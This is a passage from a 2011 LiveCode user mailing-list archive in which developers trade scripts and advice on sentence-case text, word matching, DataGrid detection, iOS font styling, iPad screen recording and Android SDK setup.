<2743AE1F-F35F-4ABE-8F95-604116896F69@economy-x-talk.com> Message-ID: <006501ccc03e$77d45050$677cf0f0$@net> The revAndroidPlugin is not recognizing the Android SDK anymore. I still use to view messages and the output of a LC "put" for debugging. Any Ideas? Thanks Ralph DiMola IT Director Evergreen Information Services From katir at hindu.org Wed Dec 21 20:00:05 2011 From: katir at hindu.org (Sivakatirswami) Date: Wed, 21 Dec 2011 15:00:05 -1000 Subject: Function to Upper and Lower Case sentences In-Reply-To: References: <4EF244F4.2070003@hindu.org> <57770C07-268C-4AB3-AE77-3A2C4AA1863A@twft.com> <4EF24970.20901@hindu.org> Message-ID: <4EF28115.60405@hindu.org> well I got this far.. in my "hokey-baby" xTalk way of coding...but it works well enough to keep one or two donors from "screaming" with all caps in their comments... but someone was entering dates like this: 12.21.2012 in his comments my script munges these to 12212012.. and it doesn't deal well with !bangs... but it's good enough to do what I need for now. on mouseUp local tNewSentence put the clipboarddata["text"] into tInput # I'll change this to input from $POST on the server side script later set the linedel to "." repeat for each line aSentence in tInput ## First we lower case all # delete space in front first repeat until x <> " " #I think there is a better trim leading/trailing space function I saw years ago...I have it # somewhere... one day I will master accessing all my code (ha, good luck with that!) put char 1 of aSentence into x if x = " " then delete char 1 of aSentence end repeat put toLower(aSentence) into aSentence replace "!" with "! " in aSentence # doesn't help unless next word is in my dictionary. # so I need something to "see" exclamation marks as delimiters, not sure # how to tackle that if dot is already set as delimiter put (toUpper(char 1 of aSentence)) into char 1 of aSentence # next we set upper case words from our mini-dictionary function... Repeat for each word theWord in aSentence put capitalizeWords(theWord) into tWord put tWord & space after tNewSentence end Repeat delete char -1 of tNewSentence put tNewSentence &". " after tOutPut put empty into tNewSentence end repeat if char 1 of tOutput = "." then delete char 1 of tOutput set the clipboarddata["text"] to tOutput put tOutput end mouseUp function capitalizeWords theWord put "ganesha, pancha, gurudeva!,gurudev!,Satguru, ganapathi, ganapati, yogaswami, siva, shiva, muruga, bodhinatha,lord, nataraja, aum" into tCapsDictionary set the itemdel to comma if tCapsDictionary contains theWord then --if theWord is among the items of tCapsDictionary ## doesn't work; dunno why... # so I used "contains" put toUpper(char 1 of theWord) into char 1 of theWord end if return theWord end capitalizeWords On 12/21/11 11:46 AM, Bob Sneidar wrote: > I did something similar recently, where not only was the delimiter important, but preserving the exact delimiter was also important. In my case it was breaking out the parts of a query that might contain AND or OR. What I did was: > > replace " AND " with cr& " AND "& cr in theList > replace " OR " with cr& " OR "& cr in theList > > repeat with theLineCount = 1 to the number of lines of theList step 2 > put line theLineCount of theList into theLine > put line theLineCount +1 into theDelimiter > -- do some stuff with whatcha got > put theLine& theDelimiter& cr after theNewList > end repeat > > You could modify this to deal with a period and a space, a period and a close parens, a period and a character return or a period and anything else that might apply. Just don't append CR for a single period and cr, or you will end up with blank lines that were not there beforehand. Also, now that I think about it, you should probably also replace "..." with an ellipsis before continuing, and any other thing that might come after a period in normal text. You should end up with a list of sentences, and whatever came after them. Also, now that I think about it some more, you should probably replace 2 cr's with some kind of placeholder& cr before anything else in a repeat loop to account for multiple CR's. That would throw your function out of sync if an extra line showed up anywhere along the way. > > Bob > > > On Dec 21, 2011, at 1:02 PM, Sivakatirswami wrote: > >> OK yes, Title case is easy... It's sentence case I was looking for because a period/dot is not part of a word. I guess one could use a dot as a line delimiter and then step thru the lines. >> >> >> >> On 12/21/11 10:57 AM, Bob Sneidar wrote: >>> On Dec 21, 2011, at 12:43 PM, Sivakatirswami wrote: >>> >>>> I have a need to take all caps input and >>>> >>>> 1) Lower case all but first letter of sentences >>>> >>>> 2) Upper case words in a small dictionary I will provide to the function. >>>> >>>> As anyone cooked up something like this already... if I just had 1) can manage 2) >>>> >>>> Happy Holidays! >>>> >>>> Om Shanti >>>> Sivakatirswami >>>> >>>> Kauai Aadheenam >>>> >>>> __________________________ >>> function titleCase theText, forceIt >>> if forceIt is true then >>> put tolower(theText) into theText >>> end if >>> >>> repeat with theWordNum = 1 to the number of words of theText >>> put toupper(char 1 of word theWordNum of theText)& \ >>> char 2 to -1 of word theWordNum of theText \ >>> into word theWordNum of theText >>> end repeat >>> >>> return theText >>> end titleCase >>> >>> >>> _______________________________________________ >>> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From iowahengst at mac.com Wed Dec 21 20:36:19 2011 From: iowahengst at mac.com (Randy Hengst) Date: Wed, 21 Dec 2011 19:36:19 -0600 Subject: iOS: text styles In-Reply-To: <80D8704A-B7FA-404A-99B7-C94D82C75B57@me.com> References: <80D8704A-B7FA-404A-99B7-C94D82C75B57@me.com> Message-ID: <1FE114BB-35FD-487C-89B7-5CB7CE948D4E@mac.com> Hi Chris, I'll confirm LC 5.0.2 OSX 6.8 -- "are" does not appear in italics. I've noticed this in the past. Setting Arial to bold, etc in the inspector doesn't have any effect either. I have no idea why. be well, randy ----- On Dec 21, 2011, at 4:42 PM, Chris Sheffield wrote: > I've about driven myself crazy over this one today, but it turns out I think I may have found a bug. Either that or very strange expected behavior. So I'm wondering if someone wouldn't mind checking this for me to see if the results are the same. Should only take a couple minutes. > > Create a new stack. Place one field on it. Make the stack, field, and font size large enough to read easily on an iPad (or in the simulator). Set the font of the field to Arial. In the preOpenCard handler, set the htmlText of the field. Something like: > > set the htmlText of fld 1 to "

Howdy! How are you today?

" > > Set the standalone settings for iPad, etc. Launch it in the simulator. Does the word "are" appear in italics? It doesn't for me. Should it? The same thing works fine in the IDE. But when run in the simulator or on a device the text is not styled. I did just try using Helvetica instead of Arial and that seems to work okay. Unfortunately, I need Arial and not Helvetica. > > Anybody have any suggestions here? This is very nearly a showstopper if it's a bug. Really need this to work. > > Thanks, > Chris > > > -- > Chris Sheffield > Read Naturally, Inc. > www.readnaturally.com > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From jacque at hyperactivesw.com Wed Dec 21 22:27:56 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Wed, 21 Dec 2011 21:27:56 -0600 Subject: iOS: text styles In-Reply-To: <80D8704A-B7FA-404A-99B7-C94D82C75B57@me.com> References: <80D8704A-B7FA-404A-99B7-C94D82C75B57@me.com> Message-ID: <4EF2A3BC.6040104@hyperactivesw.com> On 12/21/11 4:42 PM, Chris Sheffield wrote: > Set the standalone settings for iPad, etc. Launch it in the > simulator. Does the word "are" appear in italics? It doesn't for me. > Should it? The same thing works fine in the IDE. But when run in the > simulator or on a device the text is not styled. I did just try using > Helvetica instead of Arial and that seems to work okay. > Unfortunately, I need Arial and not Helvetica. I vaguely recall something similar happening to me. What I think is going on is that iOS won't generate fake styles like bold and italic; it will only use fonts that have separate style faces in the font family. I haven't tried it, but it might work to set the font name rather than the style:

Howdy! How are you today?

The font names for iOS 5 are here: . iOS 4 has all the Arials too. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From todd at geistinteractive.com Thu Dec 22 00:21:38 2011 From: todd at geistinteractive.com (Todd Geist) Date: Wed, 21 Dec 2011 21:21:38 -0800 Subject: Is Control a DataGrid Message-ID: Hello, When Looping through controls on a card, how does one determine if the current control is a DataGrid? Actually I want to know that it is NOT a DataGrid. Thanks Todd -- Todd Geist From dunbarx at aol.com Thu Dec 22 01:31:01 2011 From: dunbarx at aol.com (dunbarx at aol.com) Date: Thu, 22 Dec 2011 01:31:01 -0500 (EST) Subject: Is Control a DataGrid In-Reply-To: References: Message-ID: <8CE8E8A67B3253A-21C0-142EC5@webmail-m133.sysops.aol.com> Perhaps the "focusedObject"? -----Original Message----- From: Todd Geist To: How to use LiveCode Sent: Wed, Dec 21, 2011 7:24 pm Subject: Is Control a DataGrid Hello, When Looping through controls on a card, how does one determine if the current control is a DataGrid? Actually I want to know that it is NOT a DataGrid. Thanks Todd -- Todd Geist _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From revdev at pdslabs.net Thu Dec 22 01:45:26 2011 From: revdev at pdslabs.net (Phil Davis) Date: Wed, 21 Dec 2011 22:45:26 -0800 Subject: Is Control a DataGrid In-Reply-To: <8CE8E8A67B3253A-21C0-142EC5@webmail-m133.sysops.aol.com> References: <8CE8E8A67B3253A-21C0-142EC5@webmail-m133.sysops.aol.com> Message-ID: <4EF2D206.4060709@pdslabs.net> Hi Todd, This should work unless you use 'dgControl' as your own custom prop name anywhere: if the dgControl of control x = empty then -- this is NOT a DG -- do stuff here end if Phil Davis On 12/21/11 10:31 PM, dunbarx at aol.com wrote: > Perhaps the "focusedObject"? > > > > -----Original Message----- > From: Todd Geist > To: How to use LiveCode > Sent: Wed, Dec 21, 2011 7:24 pm > Subject: Is Control a DataGrid > > > Hello, > > When Looping through controls on a card, how does one determine if the > current control is a DataGrid? > > Actually I want to know that it is NOT a DataGrid. > > Thanks > > Todd > -- Phil Davis PDS Labs Professional Software Development http://pdslabs.net From revdev at pdslabs.net Thu Dec 22 01:49:14 2011 From: revdev at pdslabs.net (Phil Davis) Date: Wed, 21 Dec 2011 22:49:14 -0800 Subject: Is Control a DataGrid In-Reply-To: <4EF2D206.4060709@pdslabs.net> References: <8CE8E8A67B3253A-21C0-142EC5@webmail-m133.sysops.aol.com> <4EF2D206.4060709@pdslabs.net> Message-ID: <4EF2D2EA.9090006@pdslabs.net> I should have said a little more. From the DG API docs : > /dgControl/ > - get the dgControl of the target > - Returns the long id of the data grid. Useful in row/column template > behaviors when you need to get properties of the data grid. Phil On 12/21/11 10:45 PM, Phil Davis wrote: > Hi Todd, > > This should work unless you use 'dgControl' as your own custom prop name > anywhere: > > if the dgControl of control x = empty then -- this is NOT a DG > -- do stuff here > end if > > Phil Davis > > > On 12/21/11 10:31 PM, dunbarx at aol.com wrote: >> Perhaps the "focusedObject"? >> >> >> >> -----Original Message----- >> From: Todd Geist >> To: How to use LiveCode >> Sent: Wed, Dec 21, 2011 7:24 pm >> Subject: Is Control a DataGrid >> >> >> Hello, >> >> When Looping through controls on a card, how does one determine if the >> current control is a DataGrid? >> >> Actually I want to know that it is NOT a DataGrid. >> >> Thanks >> >> Todd >> > -- Phil Davis PDS Labs Professional Software Development http://pdslabs.net From jhurley0305 at sbcglobal.net Thu Dec 22 02:03:48 2011 From: jhurley0305 at sbcglobal.net (Jim Hurley) Date: Wed, 21 Dec 2011 23:03:48 -0800 Subject: is among the words AND find words In-Reply-To: References: Message-ID: <2D8C0A27-72DD-429E-BF41-115566ECE5BF@sbcglobal.net> Thanks to all for their help with this. I learned a new key word in "token". So far the function below handles everything reasonable I have thrown at it, including finding "time" in the less than reasonable text in field 1: "Now is timely the timeless time.-for, all good." on mouseUp put field 1 into tText put theWordIsAmongTheWords("time", tText) into msg box --returns true end mouseUp function theWordIsAmongTheWords tWord, tList --The quote and period are irrelevant to the test for the word, so delete them. replace quote with "" in tList replace "." with "" in tList put empty into tNums --Collect all the strings that wordOffset would find. repeat put wordOffset(tWord,tList, last item of tNums) into tNum if tNum = 0 then exit repeat put the last item of tNums + tNum & comma after tNums end repeat --Test each of these strings aginst the word being tested. --With the quotes and periods gone, the tokens of sting found work well. repeat for each item tWordNum in tNums put word tWordNum of tList into tTestWord if tWord is among the tokens of tTestWord then return true end repeat --If all the tests fail, then return false return false end theWordIsAmongTheWords From chipp at chipp.com Thu Dec 22 02:06:50 2011 From: chipp at chipp.com (Chipp Walters) Date: Thu, 22 Dec 2011 01:06:50 -0600 Subject: iPad screenrecording: how? In-Reply-To: References: Message-ID: You could try this http://www.ponoko.com/design-your-own/products/scandock-2703 -- Chipp Walters CEO, Altuit, Inc. From jhurley0305 at sbcglobal.net Thu Dec 22 02:36:47 2011 From: jhurley0305 at sbcglobal.net (Jim Hurley) Date: Wed, 21 Dec 2011 23:36:47 -0800 Subject: is among the words AND find words In-Reply-To: References: Message-ID: <7E7E5EF7-BAA9-480D-ACFE-68A5FA24A871@sbcglobal.net> Strike most of my last message. It appears that most of the function can be replaced with an examination of the entire text (dah) as in: put tWord is among the tokens of tList into tTest return tTest This tests the whole text; it is not necessary to test each string containing the word individually. But remove the quotes and periods first. Jim > Thanks to all for their help with this. I learned a new key word in "token". > > So far the function below handles everything reasonable I have thrown at it, including finding "time" in the less than reasonable text in field 1: > > "Now is timely the timeless time.-for, all good." > > on mouseUp > put field 1 into tText > put theWordIsAmongTheWords("time", tText) into msg box --returns true > end mouseUp > > function theWordIsAmongTheWords tWord, tList > --The quote and period are irrelevant to the test for the word, so delete them. > replace quote with "" in tList > replace "." with "" in tList > put empty into tNums > > --Collect all the strings that wordOffset would find. > repeat > put wordOffset(tWord,tList, last item of tNums) into tNum > if tNum = 0 then exit repeat > put the last item of tNums + tNum & comma after tNums > end repeat > > --Test each of these strings aginst the word being tested. > --With the quotes and periods gone, the tokens of sting found work well. > repeat for each item tWordNum in tNums > put word tWordNum of tList into tTestWord > if tWord is among the tokens of tTestWord then return true > end repeat > > --If all the tests fail, then return false > return false > end theWordIsAmongTheWords > From admin at FlexibleLearning.com Thu Dec 22 03:48:29 2011 From: admin at FlexibleLearning.com (FlexibleLearning) Date: Thu, 22 Dec 2011 08:48:29 -0000 Subject: is among the words AND find words In-Reply-To: Message-ID: Aha. So we are now only testing 'exist', and not the word number? Since I've already written this, I'll post it anyway... The problem (as always when this topic is raised) is the definition of a 'word', as indicated by the additional inclusion of 'token' in the language, and thus the definition of 'punctuation'. I believe LC inherited the definition of a 'word' from HyperCard for compatibility. Is $10 one word or two? Is my_Var one word or two? Is half-baked one word or two? Do the same rules apply across non-English languages? And unicode langauges? Perhaps there is no single definition and some modifiers are needed such as 'strict'... on mouseUp put findWord(fld 1,"men","strict") end mouseUp function findWord pContent,pStr,pRule if pRule="strict" then put COMMA"E&TAB&CR&":;'." into tPunctuation else --| Adjust according to requirements... put COMMA"E&TAB&CR&":;'.^&*()_-+={}[]@~#<>/|\!?" into tPunctuation end if repeat for each char L in tPunctuation replace L with SPACE in pContent end repeat if pStr is among the words of pContent then return num of words of char 1 to offset(pStr,pContent) of pContent else return 0 end findWord Hugh Senior FLCo Jim Hurley wrote: Strike most of my last message. It appears that most of the function can be replaced with an examination of the entire text (dah) as in: put tWord is among the tokens of tList into tTest return tTest This tests the whole text; it is not necessary to test each string containing the word individually. But remove the quotes and periods first. Jim > Thanks to all for their help with this. I learned a new key word in "token". > > So far the function below handles everything reasonable I have thrown at it, including finding "time" in the less than reasonable text in field 1: > > "Now is timely the timeless time.-for, all good." > > on mouseUp > put field 1 into tText > put theWordIsAmongTheWords("time", tText) into msg box --returns true > end mouseUp > > function theWordIsAmongTheWords tWord, tList > --The quote and period are irrelevant to the test for the word, so delete them. > replace quote with "" in tList > replace "." with "" in tList > put empty into tNums > > --Collect all the strings that wordOffset would find. > repeat > put wordOffset(tWord,tList, last item of tNums) into tNum > if tNum = 0 then exit repeat > put the last item of tNums + tNum & comma after tNums > end repeat > > --Test each of these strings aginst the word being tested. > --With the quotes and periods gone, the tokens of sting found work well. > repeat for each item tWordNum in tNums > put word tWordNum of tList into tTestWord > if tWord is among the tokens of tTestWord then return true > end repeat > > --If all the tests fail, then return false > return false > end theWordIsAmongTheWords > From benr_mc at cogapp.com Thu Dec 22 03:51:37 2011 From: benr_mc at cogapp.com (Ben Rubinstein) Date: Thu, 22 Dec 2011 08:51:37 +0000 Subject: iPad screenrecording: how? In-Reply-To: References: Message-ID: <4EF2EF99.3020702@cogapp.com> On 21/12/2011 17:56, William de Smet wrote: > I want to make a screen recording of my new iPad app. > How do you people do this? > There are no iPad screen recording apps yet. Are there? Screenflow does an excellent job of recording from the Mac screen, and can record internal or external audio at the same time. So if your app produces reasonable quality audio through the simulator, this should be a very clean capture. If you can't work with the simulator, I think there is a theoretical route to a 'perfect' capture: if you have an iPad2 (I think, or perhaps iPad1) running iOS 5, then you can use AirPlay to send both image and sound to an AppleTV unit. Unfortunately the AppleTV only outputs HDMI: there are HDMI digitisers but they are quite expensive. AFAIK there is no current way to receive AirPlay video on anything other than an AppleTV unit. Ben From bdrunrev at gmail.com Thu Dec 22 04:12:50 2011 From: bdrunrev at gmail.com (Bernard Devlin) Date: Thu, 22 Dec 2011 09:12:50 +0000 Subject: File time off by an hour... In-Reply-To: <9552C235B53A479C8ACD784BE5B041FC@KeithPC> References: <9552C235B53A479C8ACD784BE5B041FC@KeithPC> Message-ID: Keith, It seems this issue has come up with Windows and other programming languages (included those supplied by Microsoft!) http://stackoverflow.com/questions/4605983/io-file-getlastaccesstime-is-off-by-one-hour http://stackoverflow.com/questions/6009902/different-timestamps-under-winxp-win7-and-vb-net In one of the above examples, the user is on CST (maybe that is a factor). There have been discussions on the list before about converting date-times between seconds and e.g. internet time. Instead of using the short date & time, why don't you run through your file list, and convert the file time into a list of values, e.g. short date and time, internet date, etc. You may find with one of them the difference disappears. Also, you could try setting the useSystemDate to true v. false, and see what you get. This is a tricky area (really we should all just be on GMT!), as evinced by the two discussions above from Stack Overflow. Bernard On Thu, Dec 22, 2011 at 12:08 AM, Keith (Gulf Breeze Ortho Lab) wrote: > Hmmmm. No responses to this. From bdrunrev at gmail.com Thu Dec 22 04:14:35 2011 From: bdrunrev at gmail.com (Bernard Devlin) Date: Thu, 22 Dec 2011 09:14:35 +0000 Subject: revAndroidPlugin and the Android SDK In-Reply-To: <006501ccc03e$77d45050$677cf0f0$@net> References: <4EF244F4.2070003@hindu.org> <57770C07-268C-4AB3-AE77-3A2C4AA1863A@twft.com> <4EF24970.20901@hindu.org> <4EF25011.2010109@hyperactivesw.com> <44414436265.20111221140919@ahsoftware.net> <77EE1B62-CCFD-4805-A7DE-C334085101A3@economy-x-talk.com> <2743AE1F-F35F-4ABE-8F95-604116896F69@economy-x-talk.com> <006501ccc03e$77d45050$677cf0f0$@net> Message-ID: Check in your Preferences, that right beneath the path to the Android SDK, that it has not lost a path to the JDK. Bernard On Thu, Dec 22, 2011 at 12:13 AM, Ralph DiMola wrote: > The revAndroidPlugin is not recognizing the Android SDK anymore. I still use > to view messages and the output of a LC "put" for debugging. Any Ideas? From dave.cragg at lacscentre.co.uk Thu Dec 22 04:17:12 2011 From: dave.cragg at lacscentre.co.uk (Dave Cragg) Date: Thu, 22 Dec 2011 09:17:12 +0000 Subject: is among the words AND find words In-Reply-To: <7E7E5EF7-BAA9-480D-ACFE-68A5FA24A871@sbcglobal.net> References: <7E7E5EF7-BAA9-480D-ACFE-68A5FA24A871@sbcglobal.net> Message-ID: <03B18C11-DA75-446C-AFBE-765DF20DC5F3@lacscentre.co.uk> Late to the thread. If the purpose is just to see whether the word exists in a string, would this work (using regular expressions)? on mouseUp put "Some timely text with time, and more." into tString put "time" into tTarget put containsWord(tTarget, tString) end mouseUp function containsWord tWord, tString put "(?i)\b" & tWord & "\b" into tRE return matchText(tString, tRE) end containsWord "\b" is the regular expression "word boundary" pattern. "(?i)" makes the match case insensitive. Cheers Dave From runrev.livecode at gmail.com Thu Dec 22 07:57:10 2011 From: runrev.livecode at gmail.com (Martin Honeywill) Date: Thu, 22 Dec 2011 12:57:10 +0000 Subject: Wanted: Neophytes ftp Client Message-ID: Sorry bit late to the party on this one. Have you looked at OwnCloud? http://owncloud.org not used it myself but it looks good Cheers Martin Honeywill From effendi at wanadoo.fr Thu Dec 22 09:39:05 2011 From: effendi at wanadoo.fr (Francis Nugent Dixon) Date: Thu, 22 Dec 2011 15:39:05 +0100 Subject: Dates displayed for On-Rev Server files Message-ID: <9DEDE49F-BDA5-44B3-A40E-54EB24301B53@wanadoo.fr> Hi from Beautiful Brittany, I upload files to my on-Rev server, and note a time difference of - 7 hours against my French time. I assume that this is a US East-Coast time zone. This is only a very, very minor bitch, but is there a way of getting the server to display my time-zone values ? Can I read back the contents of my server ? I would be interested in writing a LiveCode stack checking out my site files on my computer against my files on my server, to see if they are in sync. Has anybody done anything like this ? TIA -Francis "There is pleasure recognizing old things from a new viewpoint" (Richard Feynmann) From rdimola at evergreeninfo.net Thu Dec 22 09:42:43 2011 From: rdimola at evergreeninfo.net (Ralph DiMola) Date: Thu, 22 Dec 2011 09:42:43 -0500 Subject: revAndroidPlugin and the Android SDK In-Reply-To: References: <4EF244F4.2070003@hindu.org> <57770C07-268C-4AB3-AE77-3A2C4AA1863A@twft.com> <4EF24970.20901@hindu.org> <4EF25011.2010109@hyperactivesw.com> <44414436265.20111221140919@ahsoftware.net> <77EE1B62-CCFD-4805-A7DE-C334085101A3@economy-x-talk.com> <2743AE1F-F35F-4ABE-8F95-604116896F69@economy-x-talk.com> <006501ccc03e$77d45050$677cf0f0$@net> Message-ID: <04dd01ccc0b7$f6c58630$e4509290$@net> Sorry, I did not mention that I can Build and test for Android with no problems. I did Check my SDK prefs for both IOS and Android. And re-did the Android prefs and LC did not complain when I pointed to the Android SDK folder. When I open the revANdroidPlugin it immediately opens a dialog and asks me for the Android SDK folder and when I point to the same one the LC main prefs liked the plug-in tells me: "That is not a usable SDK root: missing aapt tool, make sure your SDK install has not been corrupted". Is this the same problem that LC proper had when the SDK upgraded to I think v12 and LC had to adjust their validation technique? Ralph DiMola IT Director Evergreen Information Services -----Original Message----- From: use-livecode-bounces at lists.runrev.com [mailto:use-livecode-bounces at lists.runrev.com] On Behalf Of Bernard Devlin Sent: Thursday, December 22, 2011 4:15 AM To: How to use LiveCode Subject: Re: revAndroidPlugin and the Android SDK Check in your Preferences, that right beneath the path to the Android SDK, that it has not lost a path to the JDK. Bernard On Thu, Dec 22, 2011 at 12:13 AM, Ralph DiMola wrote: > The revAndroidPlugin is not recognizing the Android SDK anymore. I still use > to view messages and the output of a LC "put" for debugging. Any Ideas? _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From todd at geistinteractive.com Thu Dec 22 10:03:26 2011 From: todd at geistinteractive.com (Todd Geist) Date: Thu, 22 Dec 2011 07:03:26 -0800 Subject: Is Control a DataGrid In-Reply-To: <4EF2D206.4060709@pdslabs.net> References: <8CE8E8A67B3253A-21C0-142EC5@webmail-m133.sysops.aol.com> <4EF2D206.4060709@pdslabs.net> Message-ID: Thanks! On Wed, Dec 21, 2011 at 10:45 PM, Phil Davis wrote: > Hi Todd, > > This should work unless you use 'dgControl' as your own custom prop name > anywhere: > > if the dgControl of control x = empty then -- this is NOT a DG > -- do stuff here > end if > > Phil Davis Todd From todd at geistinteractive.com Thu Dec 22 10:08:58 2011 From: todd at geistinteractive.com (Todd Geist) Date: Thu, 22 Dec 2011 07:08:58 -0800 Subject: iPad screenrecording: how? In-Reply-To: <4EF2EF99.3020702@cogapp.com> References: <4EF2EF99.3020702@cogapp.com> Message-ID: On Thu, Dec 22, 2011 at 12:51 AM, Ben Rubinstein wrote: > > If you can't work with the simulator, I think there is a theoretical route > to a 'perfect' capture: if you have an iPad2 (I think, or perhaps iPad1) > running iOS 5, then you can use AirPlay to send both image and sound to an > AppleTV unit. Unfortunately the AppleTV only outputs HDMI: there are HDMI > digitisers but they are quite expensive. AFAIK there is no current way to > receive AirPlay video on anything other than an AppleTV unit. Airplay/AppleTV doesn't get you much in this area. You still need a way to capture the HDMI coming off the AppleTV. AppleTV is nothing more than an expensive invisible HDMI cable. You are still going to need something that can capture HMDI video. This is something that is not built into any mac or pc that I know about. You are going to need some hardware. Todd From jhurley0305 at sbcglobal.net Thu Dec 22 10:17:47 2011 From: jhurley0305 at sbcglobal.net (Jim Hurley) Date: Thu, 22 Dec 2011 07:17:47 -0800 Subject: is among the words AND find words Message-ID: Very good Hugh. This adds another level of versatility, first by the addition of a "rule" and then by returning a word count. You are right about what constitutes a word. That is what is nice about having a "rule". BTW: The previous "token" method can be changed into a count by replacing this code repeat for each item tWordNum in tNums put word tWordNum of tList into tTestWord if tWord is among the tokens of tTestWord then return true end repeat --If all the tests fail, then return false return false With the following: put 0 into tCount repeat for each item tWordNum in tNums put word tWordNum of tList into tTestWord if tWord is among the tokens of tTestWord then add 1 to tCount end repeat return tCount Jim > Aha. So we are now only testing 'exist', and not the word number? Since I've > already written this, I'll post it anyway... > > The problem (as always when this topic is raised) is the definition of a > 'word', as indicated by the additional inclusion of 'token' in the language, > and thus the definition of 'punctuation'. I believe LC inherited the > definition of a 'word' from HyperCard for compatibility. > > Is $10 one word or two? > Is my_Var one word or two? > Is half-baked one word or two? > Do the same rules apply across non-English languages? And unicode langauges? > > Perhaps there is no single definition and some modifiers are needed such as > 'strict'... > > on mouseUp > put findWord(fld 1,"men","strict") > end mouseUp > > function findWord pContent,pStr,pRule > if pRule="strict" then > put COMMA"E&TAB&CR&":;'." into tPunctuation > else > --| Adjust according to requirements... > put COMMA"E&TAB&CR&":;'.^&*()_-+={}[]@~#<>/|\!?" into tPunctuation > end if > repeat for each char L in tPunctuation > replace L with SPACE in pContent > end repeat > if pStr is among the words of pContent then > return num of words of char 1 to offset(pStr,pContent) of pContent > else return 0 > end findWord > > > Hugh Senior > FLCo > > > Jim Hurley wrote: > > Strike most of my last message. It appears that most of the function can be > replaced with an examination of the entire text (dah) as in: > > put tWord is among the tokens of tList into tTest > return tTest > > This tests the whole text; it is not necessary to test each string > containing the word individually. > > But remove the quotes and periods first. > > Jim > > > > > Thanks to all for their help with this. I learned a new key word in > "token". > > > > So far the function below handles everything reasonable I have thrown at > it, including finding "time" in the less than reasonable text in field 1: > > > > "Now is timely the timeless time.-for, all good." > > > > on mouseUp > > put field 1 into tText > > put theWordIsAmongTheWords("time", tText) into msg box --returns true > > end mouseUp > > > > function theWordIsAmongTheWords tWord, tList > > --The quote and period are irrelevant to the test for the word, so > delete them. > > replace quote with "" in tList > > replace "." with "" in tList > > put empty into tNums > > > > --Collect all the strings that wordOffset would find. > > repeat > > put wordOffset(tWord,tList, last item of tNums) into tNum > > if tNum = 0 then exit repeat > > put the last item of tNums + tNum & comma after tNums > > end repeat > > > > --Test each of these strings aginst the word being tested. > > --With the quotes and periods gone, the tokens of sting found work well. > > repeat for each item tWordNum in tNums > > put word tWordNum of tList into tTestWord > > if tWord is among the tokens of tTestWord then return true > > end repeat > > > > --If all the tests fail, then return false > > return false > > end theWordIsAmongTheWords From jhurley0305 at sbcglobal.net Thu Dec 22 10:17:53 2011 From: jhurley0305 at sbcglobal.net (Jim Hurley) Date: Thu, 22 Dec 2011 07:17:53 -0800 Subject: is among the words AND find words In-Reply-To: References: Message-ID: <33E04D50-BF28-46FD-9F5B-D71EE9D67CBC@sbcglobal.net> Dave, Ah! Those mighty regular expressions. Soooom day I'll have to study up on them. Yes that works very nicely. The other method (one that I understand ;) ) now boils down to this: on mouseUp put field 1 into tText put containsWord("time", tText) end mouseUp function containsWord tWord, tList replace quote with "" in tList replace "." with "" in tList return tWord is among the tokens of tList end containsWord Jim > Late to the thread. > > If the purpose is just to see whether the word exists in a string, would this work (using regular expressions)? > > on mouseUp > put "Some timely text with time, and more." into tString > put "time" into tTarget > put containsWord(tTarget, tString) > end mouseUp > > function containsWord tWord, tString > put "(?i)\b" & tWord & "\b" into tRE > return matchText(tString, tRE) > end containsWord > > "\b" is the regular expression "word boundary" pattern. > "(?i)" makes the match case insensitive. > > Cheers > Dave From todd at geistinteractive.com Thu Dec 22 10:10:13 2011 From: todd at geistinteractive.com (Todd Geist) Date: Thu, 22 Dec 2011 07:10:13 -0800 Subject: iPad screenrecording: how? In-Reply-To: References: Message-ID: On Wed, Dec 21, 2011 at 11:06 PM, Chipp Walters wrote: > You could try this > > http://www.ponoko.com/design-your-own/products/scandock-2703 > > The problem with any of these overhead solutions is that it is really hard to get the lighting right. In fact it is darn near impossible. Todd From cmsheffield at me.com Thu Dec 22 10:19:44 2011 From: cmsheffield at me.com (Chris Sheffield) Date: Thu, 22 Dec 2011 08:19:44 -0700 Subject: iOS: text styles In-Reply-To: <4EF2A3BC.6040104@hyperactivesw.com> References: <80D8704A-B7FA-404A-99B7-C94D82C75B57@me.com> <4EF2A3BC.6040104@hyperactivesw.com> Message-ID: Thanks, Jacque. I'll give that a try. Kind of a pain, but if it keeps me going I'm happy. Chris On Dec 21, 2011, at 8:27 PM, J. Landman Gay wrote: > On 12/21/11 4:42 PM, Chris Sheffield wrote: > >> Set the standalone settings for iPad, etc. Launch it in the >> simulator. Does the word "are" appear in italics? It doesn't for me. >> Should it? The same thing works fine in the IDE. But when run in the >> simulator or on a device the text is not styled. I did just try using >> Helvetica instead of Arial and that seems to work okay. >> Unfortunately, I need Arial and not Helvetica. > > > I vaguely recall something similar happening to me. What I think is going on is that iOS won't generate fake styles like bold and italic; it will only use fonts that have separate style faces in the font family. I haven't tried it, but it might work to set the font name rather than the style: > >

Howdy! How are you today?

